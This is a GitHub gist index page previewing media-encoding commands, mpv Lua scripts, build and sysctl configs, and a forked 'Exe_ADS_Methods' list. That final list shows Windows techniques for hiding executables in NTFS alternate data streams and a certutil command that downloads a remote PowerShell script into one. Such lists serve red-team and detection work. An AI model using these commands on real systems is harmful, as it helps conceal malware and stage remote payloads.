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@garoto
garoto / make_windows10_great_again.bat
Created Jun 25, 2017 — forked from IntergalacticApps/make_windows10_great_again.bat
Make Windows 10 Great Again - stop Windows 10 spying!
View make_windows10_great_again.bat
@echo off
setlocal EnableDelayedExpansion
ver | find "10." > nul
if errorlevel 1 (
echo Your Windows version is not Windows 10... yet. Brace yourself, Windows 10 is coming^^!
pause
exit
)
View Concat image with video #ffmpeg
# Adds 3-sec fading out title image before video.
# What's going on here: We get title.png image, loop it for 3 sec video, create 3 sec silence, get video.mp4 (framerate 25). Next, we add fade out filter on looped image video, after that we concat our image video, audio silence and main video into one. Easy peasy.
ffmpeg -loop 1 -framerate 25 -t 3 -i title.png -t 3 -f lavfi -i aevalsrc=0 -i video.mp4 -filter_complex '[0:0]fade=out:50:25:alpha=1[title]; [title][1:0][2:0][2:1] concat=n=2:v=1:a=1' output.mp4
@garoto
garoto / ffmppeg-advanced-playbook-nvenc-and-libav-and-vaapi.md FFMpeg's playbook: Advanced encoding options with hardware-accelerated acceleration for both NVIDIA NVENC's and Intel's VAAPI-based hardware encoders in both ffmpeg and libav.
View ffmppeg-advanced-playbook-nvenc-and-libav-and-vaapi.md

FFmpeg and libav's playbook: Advanced encoding options with hardware-based acceleration, NVIDIA's NVENC and Intel's VAAPI-based encoder.

Hello guys,

Continuing from this guide to building ffmpeg and libav with NVENC and VAAPI enabled, this snippet will cover advanced options that you can use with ffmpeg and libav on both NVENC and VAAPI hardware-based encoders.

For ffmpeg:

@garoto
garoto / ffmpeg-hevc-encode-nvenc.md
Created Jul 10, 2017
This gist shows you how to encode specifically to HEVC with ffmpeg's NVENC on supported hardware, with a two-pass profile and optional CUVID-based hardware-accelerated decoding.
View ffmpeg-hevc-encode-nvenc.md

Encoding high-quality HEVC content with FFmpeg - based NVENC encoder on supported hardware:

If you've built ffmpeg as instructed here on Linux and the ffmpeg binary is in your path, you can do fast HEVC encodes as shown below, using NVIDIA's NPP's libraries to vastly speed up the process.

Now, to do a simple NVENC encode in 1080p, (that will even work for Maxwell Gen 2 (GM200x) series), start with:

ffmpeg  -i <inputfile>  \
-filter:v hwupload_cuda,scale_npp=w=1920:h=1080:format=nv12:interp_algo=lanczos,hwdownload \
-c:v hevc_nvenc -profile main -preset slow -rc vbr_hq \ 
@garoto
garoto / mpvhistory.lua
Last active Jun 19, 2021
Simple media logger Lua script for mpv
View mpvhistory.lua
-- Not my code: originally from https://redd.it/3t6s7k (author deleted; failed to ask for permission).
-- Only tested on Windows. Date is set to dd/mmm/yy and time to machine-wide format.
-- Save as "mpvhistory.lua" in your mpv scripts dir. Log will be saved to mpv default config directory.
-- Make sure to leave a comment if you make any improvements/changes to the script!
local HISTFILE = (os.getenv('APPDATA') or os.getenv('HOME')..'/.config')..'/mpv/mpvhistory.log';
mp.register_event('file-loaded', function()
local title, logfile;
@garoto
garoto / packages.sh
Created Jan 6, 2020 — forked from nshtg/packages.sh
Missing Cygwin/MSYS2 packages
View packages.sh
#!/usr/bin/env bash
# Install re2c
cd /tmp &&
git clone --depth 1 https://github.com/skvadrik/re2c.git &&
cd re2c/re2c &&
./autogen.sh &&
./configure --prefix=/usr &&
make -j$(nproc) && make install &&
rm -rf /tmp/re2c
@garoto
garoto / scale-win.lua
Last active Jul 1, 2020
Restore old "window-scale" behavior, so to make "add window-scale +/-<value>" keybinds work again when paired with autofit-* options
View scale-win.lua
function fix_window_scale()
local cws = mp.get_property("current-window-scale")
if cws then mp.set_property("window-scale", cws) end
end
mp.register_event(
"file-loaded", function () mp.add_timeout(1, fix_window_scale)
end)
View youtube_formats.md

Last updated: December 2020

Also known as itag or format codes and way back they could be specified with the fmt parameter (e.g. &fmt=22). Depending on the age and/or popularity of the video, not all formats will be available.

DASH video

Resolution AV1 HFR AV1 VP9.2 HDR HFR VP9 HFR VP9 H.264 HFR H.264
MP4 MP4 WebM WebM WebM MP4 MP4
@garoto
garoto / sysctl.conf
Created Feb 8, 2021 — forked from voluntas/sysctl.conf
Sysctl configuration for high performance
View sysctl.conf
### KERNEL TUNING ###
# Increase size of file handles and inode cache
fs.file-max = 2097152
# Do less swapping
vm.swappiness = 10
vm.dirty_ratio = 60
vm.dirty_background_ratio = 2
@garoto
garoto / Exe_ADS_Methods.txt
Created May 20, 2021 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams
View Exe_ADS_Methods.txt
###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat